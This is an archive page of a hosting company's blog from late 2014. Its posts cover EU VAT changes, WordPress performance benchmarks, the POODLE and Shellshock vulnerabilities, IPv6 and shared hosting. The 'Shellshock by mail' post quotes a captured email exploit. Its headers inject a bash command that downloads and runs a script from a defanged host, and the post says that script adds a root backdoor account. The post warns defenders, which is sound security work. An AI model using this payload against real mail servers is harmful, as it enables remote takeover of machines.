Tax doesn’t have to be taxing (part 1 aka the #VATMESS)

December 12th, 2014 by

We were planning to announce upgrades to our Virtual Servers today, but unfortunately we’ve had to spend time dealing with the #VATMESS

One of these coins is worth something. The other carries an obligation for a decade of document storage, 80 tax returns and tax rates for nearly 30 different countries. Guess which one we prefer?

At the moment, VAT on “e-services” sold within the EU is paid based on where the supplier is, so if you’re a small UK company selling, say, hosting services, you pay UK VAT to HMRC, irrespective of where the customer is.

If you’re a large company selling lots of such services then you’ll be paying enough VAT that it’s worth your while to move your operations to the member state with the lowest VAT rate, which is Luxembourg.

Of course, big companies avoiding tax is Evil, Bad and Wrong, so the EU has taken action.

The very short summary is, if you’re a non-VAT-registered customer in an EU state other than the UK, then we’re going to have to start charging you VAT at your local rate, rather than the UK rate. Good news if you’re in Luxembourg, bad news if you’re in Hungary.

The rather longer rant summary is that we’ve been forced to waste a significant amount of time understanding and complying with new regulations for VAT on electronic services which come into force on 1st January 2015.

Whilst cutting down on large companies undertaking VAT rate tourism might seem like a nice idea, charging VAT based on where the customer of an online service is creates a whole bunch of new problems:

1. How do we establish where a customer is based?

The guidance tells us that we need two non-contradictory pieces of evidence to establish the customer’s location, the most readily available being the billing address and the customer’s IP address. Setting aside the unreliability of geolocating IP addresses, what happens when a customer is enjoying their right to roam the EU freely and places an order whilst in another country?

Well, the guidance tells us we can use:

  • location of the bank (we don’t collect this information)
  • the country code of SIM card used by the customer (not applicable)
  • the location of the customer’s fixed land line through which the service is supplied to him (not applicable)
  • other commercially relevant information (suggestions on a postcard)

In the event that we succeed in obtaining the necessary evidence, we’re legally required to hang onto it for 10 years.

2. How do we find the correct VAT rate for a state?

Presumably, recognising that a huge proportion of companies in the EU now need to regularly lookup current VAT rates for different states, the EU will have created a convenient web service providing this information in a computer-readable format?

Well, the guidance sends you to this site which allows you to select “all states” and has an “Export selection” button. Looks promising until you try it and discover that it buries the data in a generated PDF.

Fortunately, some helpful soul has created what we actually want: a simple JSON feed.

Unfortunately, that site makes the amateur mistake of thinking that ISO 2 digit country codes will be enough to cope with all the VAT rates in the EU, forgetting that the Portuguese Azores and Portuguese Madeira have their own VAT rates, but not their own country codes. As it happens, the EU site listed above also denies knowledge of the VAT rates applicable in these regions.

3. How do we report and pay our VAT?

HMRC are proud to tell us that they’re saving us the burden of registering for VAT in each member state in which we do business by letting us use MOSS, their “One Stop Shop”, but we still now have to complete two separate quarterly VAT returns and, of course, the quarters don’t even align.

Bulk upload of our VAT data is supported using that well known open data-interchange standard: a spreadsheet. A particular highlight is that: “When completing HMRC’s spreadsheet you can’t use country codes (for example GB, UK, NL or DE) or country descriptions (for example Great Britain, the UK or The Netherlands). You must only use the following EU country names:”. That’s right, HMRC have eschewed ISO country codes for its preferred list of country names and spellings, and not even for the obvious reason that some states have multiple rates: Portugal is only listed once.

Tax doesn’t have to be taxing … but it is

The net result of these new rules is that it’s now much harder for us to sell to consumers in other EU states than it is for us to sell to consumers outside of the EU – surely the exact opposite of what the single market is supposed to achieve?

The amount of our business that is affected by these new rules is tiny, as most of the EU business we do have is to VAT-registered entities to whom an entirely different set of rules apply. The amount of profit we make in a year from the affected services is almost certainly less than the upfront compliance cost, if not the ongoing cost, so we have seriously considered simply refusing to sell to consumers in other EU states, although it has been suggested that this could be illegal under EU law!

It could be worse

These VAT changes are a nuisance for us, but we’re already well above the UK VAT threshold so already have processes in place to deal with the burden of UK VAT reporting. For very small companies, as we were not so long ago, these changes are absolutely horrific as there is no VAT threshold for inter-state VAT. The government accepts that requiring all businesses to operate UK VAT would be an unreasonable and stifling burden on small businesses, which is why we have a VAT threshold (currently £81k). But there is no such threshold for inter-state VAT, despite it being significantly more complicated to administer.

There is a growing storm of angry micro-businesses who, through virtue of not being VAT-registered, weren’t notified of the upcoming changes. Indeed, it seems that HMRC’s assessment of the impact of these changes not only vastly underestimated the cost of implementing them, but also completely forgot about several hundred thousand micro businesses that would get shafted by these changes.

(HMRC’s original impact assessment stated that “businesses currently unregistered in the UK who choose to register for MOSS in the UK will also have to obtain a UK VAT registration and their UK supplies will therefore also become liable to VAT”, meaning that if you sold a single e-service to an EU consumer you were pretty much obliged to start operating UK VAT too. HMRC have back-tracked on this by publicly endorsing the practice of splitting EU from UK revenue – despite revenue splitting normally being considered an illegal VAT-evasion practice)

Server Castle

November 17th, 2014 by

So last week we built a fort from some old customer servers. Sometimes, though, it’s important to just try a little bit harder.

HipHop and WordPress: If you’re tired of tea then you’re tired of life…

November 14th, 2014 by

Hip Hop is not only a style of music, but also the name of a virtual machine written by Facebook which compiles PHP Just In Time to make it go quickly.

Now we receive lots of unsolicited advice about how to run a not very popular wordpress blog and cope with the volume of traffic. Usually this involves ripping and replacing the entire infrastructure from a standard Linux/Apache/MySQL/PHP stack to something different (Nginx/MariaDB/PostgreSQL) which may not even be able to run WordPress at all (e.g. node.js).

At Mythic Beasts we like to understand what we’re doing, rather than blindly installing Magic Go Faster Solution Number 7. So we set up a test 2GB dual core virtual machine, that runs WordPress and a selection of popular plugins ( WordPress SEO, Akismet, Safe Report Comments, Liveblog, Facebook, Yet Another Related Posts Plugin, WordPress Supercache and Jetpack, no endorsement implied). Then we benchmarked with siege and managed the following results.

Apache/mod_php : 5.10 trans/sec

and when you turn supercache on and serve cached pages you get

Apache/mod_php/supercache : 873.50 trans/sec

So this gives us two scenarios, pages which we have to generate content for which can easily cause load issues, and pages served from supercache in which our VM is fast enough for all practical purposes and will easily weather even very big traffic spikes from news websites or television adverts.

Now, it’s very popular to tell us to use Ngnix as it’s faster than Apache. Is it though?

Nginx/php-fpm: 5.70 trans/sec
Nginx/php-fpm/supercache: 2230.58 trans/sec

Wow! Nginx is three times quicker than Apache at serving cached pages. This is amazing, but not very helpful. It means when our webserver is serving pages really quickly, we serve pages at three times really quickly, but when we’re generating pages on demand, it’s about 10% quicker. That’s not very special and doesn’t justify a rip and replace of the whole installation for a 10% performance improvement.

A quick look at the VM during the testing tells us that the bottleneck is executing the PHP code which creates WordPress pages. The choice of webserver is basically irrelevant; almost all the server time is spent executing PHP and reading data from the database.

Enter HipHop Virtual Machine.


This is nothing to do with the HipHop Virtual Machine. But we like tea and Banging Tunes

It has one focus, to execute PHP quickly for Facebook. Facebook have a lot of servers and spend hundreds of millions to billions per year on servers and data centres. A 50% performance improvement in PHP saves them huge sums of money in data centres and servers alone, so it’s clearly worth them trying to optimise as much as possible.

Here’s what happens with Apache/Nginx running HHVM.

Apache/HHVM :           35.93 trans/sec
Apache/HHVM/supercache: 928.70 trans/sec
Nginx/HHVM :            33.78 trans/sec
Nginx/HHVM/supercache : 2137.67 trans/sec

This is a huge improvement for non cached pages – seven times faster. Cached pages are bottlenecked in the webserver so it makes minimal difference, but they were already so fast we weren’t worried about them. Again Apache/Nginx are still pretty much the same speed for generated pages, we’re still dominated by the code execution time but a seven fold performance improvement is worth seriously considering.

 Whilst we can reconfigure servers standing on our heads, we usually don't.

Whilst we can reconfigure servers standing on our heads, we usually don’t.
Photo credit: Mark Dolby, Flickr, CC-BY.

All I need to do now is see if I can find someone with a very busy WordPress site and a million complaining users who would like to test it to see if it’s really as good as the lab tests suggest it might be.


Very sorry to hear the news that Big Bank Hank who co-wrote the first ever hit Rap track Rappers Delight died earlier this week from kidney complications related to cancer.


You see, he was six foot one, and he was tons of fun

Difficult customers

November 4th, 2014 by

At Mythic Beasts we try very hard to keep our customers happy, and to do our absolute best to meet their requirements in requests, even if they’re occasionally a little bit unusual.

One of our long standing customers is refreshing some of their hardware, and we had the following exchange to sort out the details

customer> The following 8 servers have been decommissioned and now need removing: 

mythic-beasts> We can sort that for you. Do you want to collect the servers or shall we recycle them for you?

customer> The drives can be kept for spares but you can ditch the servers or make a fort out of them or something..
IMG_0314

a 1U server fort

Now it’s not really our field of expertise, but we think we’ve got a reasonable start on building a defensible concentric castle although we ran out of servers before we could start building the outer curtain wall.

Shellshock by mail

October 28th, 2014 by

We’ve already written about ShellShock, a vulnerability in bash.

Now we patched our systems quickly against it because we were aware that it looked easy to exploit and there were a great many different paths by which a piece of untrusted user input could arrive at a bash shell and exploit it. We’d seen several attacks over the web almost immediately, but now we’ve seen them starting to arrive by email.


To:() { :; }; /bin/sh -c '/bin/sh -c 'cd /tmp ;curl -sO
127.0.0.1/ex.sh;lwp-download http://127.0.0.1/ex.sh;wget
127.0.0.1/ex.sh;fetch 127.0.0.1/ex.sh;sh ex.sh;rm -fr ex.*' &'
&;
References:() { :; }; ...payload...
Cc:() { :; }; ...payload...
Bcc:() { :; }; ...payload...
From:() { :; }; ...payload...
Subject:() { :; }; ...payload...
Date:() { :; }; ...payload...
Message-ID:() { :; }; ...payload...
Comments:() { :; }; ...payload...
Keywords:() { :; }; ...payload...
Resent-Date:() { :; }; ...payload...
Resent-From:() { :; }; ...payload...

I’ve de-fanged the exploit by changing the IP address. The script downloaded adds a root user called inetd with a password of Inetd1!@#, to the machine, neatly giving a remote shell on any machine it succeeds on. The webserver logs will handily hold the IP addresses of all the infected machines. So all you need now is a nasty piece of spamming software to try and send a message through every mail server in the world and you’ve built a spam network consisting entirely of legitimate mailservers, or if you’re a government spying agency – the ability to intercept vast quantities of email with ease.

Note: It’s been commented that this only affects you if your mail server is running as root. That’s not true – imagine that it’s an email for root@the-mail-server-host which goes into a mail filter that calls out to a shell, not to mention depositing root exploits into logfiles that might get processed. There’s a vast number of subtle ways that this could end up in a copy of bash running as root.

Poodle and Pound

October 24th, 2014 by

Earlier this week, we wrote about the POODLE security vulnerability. As as result of this, we’ve been working with our customers to disable SSLv3 support from their SSL/TLS services.

At Mythic Beasts, we use Pound as a load balancer fairly extensively. It’s free, secure, fairly quick and easy to configure. Unfortunately, it didn’t have a configuration option to disable SSLv3.

Image courtesy of SOMMAI at FreeDigitalPhotos.net

Image courtesy of SOMMAI at FreeDigitalPhotos.net

One of the advantages of hosting on open source software is that we’re not at the mercy of a vendor for software updates, so we took a patch which adds the ability to disable SSLv3, added it to the standard Debian package and made it available to our managed customers through our private package repository.

This same package is now in Debian unstable and is working its way into the Debian security and backports repositories. This is made easier because the Debian pound maintainer, Brett Parker, works for Mythic Beasts and wrote the technical details on his blog.

As we have a number of customers using pound on CentOS, we have also created patched versions of CentOS packages of Pound, and raised a ticket With Fedora in order to get this into the stable build.

IPv6 support in the UK

October 22nd, 2014 by

Recently Mythic Beasts went to the first meeting of the UK IPv6 Council, a non profit group to assist in rolling out IPv6 across the UK. There was a rapid exchange of knowledge, ideas and progress between organisations.

We heard from network engineers within BT, BSkyB and Virgin Media covering well over half of all the end users in the UK. BT and Virgin have enough IPv4 addresses not to require rolling out IPv6, BSkyB don’t and therefore need to either implement IPv6 or Carrier Grade NAT (CGN), and they really don’t like CGN. Virgin are having portions of their address space taken by other parts of the parent company so may also need IPv6 or CGN. They too don’t like CGN, and already have IPv6 support in all their SuperHubs, even if the functionality is currently disabled. All three companies have IPv6 support in various levels of trial with internal staff members running dual stack. However, all three have plans to roll out customer trials in the first part of 2015.

We also heard from the Belgian IPv6 council about how roll-out in Belgium occurred to nearly 30% of all end users having native IPv6, they went from less than 1% in May 2013, to 16% in May 2014, and 27% now. Once a couple of their large providers started enabling IPv6 the roll-out was very fast. It’s likely the same thing could happen in the UK with three major providers having significant IPv6 plans within the next 12 months.

As an idea of how quickly things might happen, T-Mobile USA has gone from nowhere to the 10th largest IPv6 deployment with 44% of their network IPv6 enabled within 12 months.

So at a guess, Mythic Beasts think that IPv6 rollout in the UK by December 2015, will be either less than 1%, about 25% or roughly 50%. We aren’t sure which, but we think it’s wise to be prepared for every eventuality. To help you with that we have an IPv6 health checker.

POODLE: The cute, fluffy SSL vulnerability

October 20th, 2014 by
He's responsible for your SSL vulnerabilities. Photo credit: Greg Westfall, Flickr. CC-BY.

He’s responsible for your SSL vulnerabilities. Photo credit: Greg Westfall, Flickr, CC-BY.

SSL (or more accurately, its successor, TLS) is the technology used to keep your sensitive information, such as credit card details, secure. When you see the green padlock in your address bar, you know that your connection is safe from eavesdroppers. Or is it? Google have published details of a vulnerability in SSLv3. The vulnerability shouldn’t be an issue because SSLv3 has been almost completely replaced by TLS, but some implementations of TLS allow a “secure” connection to be downgraded to SSLv3.

When a computer connects to a secure service, such as an HTTPS website, the two sides will negotiate the version of the protocol to be used (a “handshake”). A server will initially offer a handshake using the strongest security it and the client are capable of. If the client does not respond correctly – for example because the client was incorrectly detected (and therefore is incapable of using that level of security), or because of a network glitch, the server will offer progressively weaker handshakes, until SSLv3 is used. This means that an active attacker could tamper with the SSL handshake using a man in the middle attack until it degrades to SSLv3.

At this time1, the best way to avoid this vulnerability is to disable support for SSLv3, both client-side and server-side. Systems administrators should disable SSLv3 by updating their server configuration, although note that in doing so you will prevent access from some very old platforms, most notably IE6 on Windows XP, which don’t support TLS.  End users should update their web browsers, as vendors are releasing new versions which disable SSLv3. If you’re still using IE6 on Windows XP and didn’t already have enough good reasons to upgrade, then this is another very good one.

Managed customers will have received an email from us, offering to make the necessary configuration changes to disable SSLv3. We would normally immediately apply a security patch, but as this breaks Windows XP / Internet Explorer 6 support we’ll wait for confirmation before applying it.

If you’re not a managed customer, add the following line to your Apache configuration file:

SSLProtocol All -SSLv2 -SSLv3

If you’re using Nginx, add:

ssl_protocols TLSv1 TLSv1.1 TLSv1.2;

While dealing with SSLv3, it’s a good idea to run an SSL test using Qualys SSL Labs – this will check things like lack of SSL2 support (vulnerable since 1995), using SHA256, TLS 1.2 support, and support for perfect forward secrecy, among other things.

If this all sounds too complicated, it may be worth considering our management service. We’ll apply security patches for you, as well as monitoring your application and intervening if necessary, providing graphing and backups, and checking the health of your hard disks.


1 – TLS_FALLBACK_SCSV is an alternative fix, however at the moment server support is poor. However, a strong advantage of enabling it is that “fallback” attacks will be prevented in the future – allowing clients to use weaker security is rarely a good idea.

Unlimited domains on shared hosting

October 14th, 2014 by

Back in 2000, Mythic Beasts started by offering web and email hosting services on a single shared server. Since then, we have expanded in just about all possible directions, but we still offer shared hosting for web and email. It remains the most cost-effective way to establish a permanent online presence.

A single Mythic Beasts hosting account can support multiple domains. This has become particularly important with the current proliferation of new top-level domains, and the opening up of the second-level .uk domain space. With our shared hosting, you can have example.com, example.co.uk, example.uk, and example.club all hosted on a single account. And you can choose between serving the same content, redirecting to a canonical name, or serving different content.

Until now, enabling additional domains has required an email to support and a manual step at our end to link the new domain to your hosting account. But our dev team has now exposed this through the Customer Control Panel, and you can add your new domains instantly.

Here’s how it works now.

  1. If you have registered a domain through us, you can add the standard configuration through the Customer Control Panel. The standard configuration sets up the “bare” domain name, example.com, for web and email hosting, and www.example.com for web hosting. There is no charge for this, and you can add as many domains as you like to your hosting account.
  2. For all other cases, whether subdomains, or domains registered with other registrars, you will still need to email support. A one-off setup charge of £10 (inc VAT) will be levied per domain /subdomain. Or you can batch up to 5 domains in a single request for £20 (inc VAT).

Shell Shock 2: The AfterShock

September 26th, 2014 by

As has been widely reported, a very major vulnerability in the bash shell was announced a couple of days ago (the event has been dubbed “Shell Shock” by the media). Sadly, the first set of updates released were insufficient to close the hole completely (“AfterShock” is the catchy name). Further updates were released late last night. These have been applied to all Mythic Beasts internal servers, and all managed customer servers.

Customers with unmanaged servers are urged to apply this second set of updates as quickly as possible.

So far, Apple have not released any updates for OS X. The version of bash distributed with OS X is demonstrably vulnerable to the security bug, so no doubt updates will be forthcoming. In the mean time, one possibility is to build bash from source; instructions for doing so can be found on the Internet.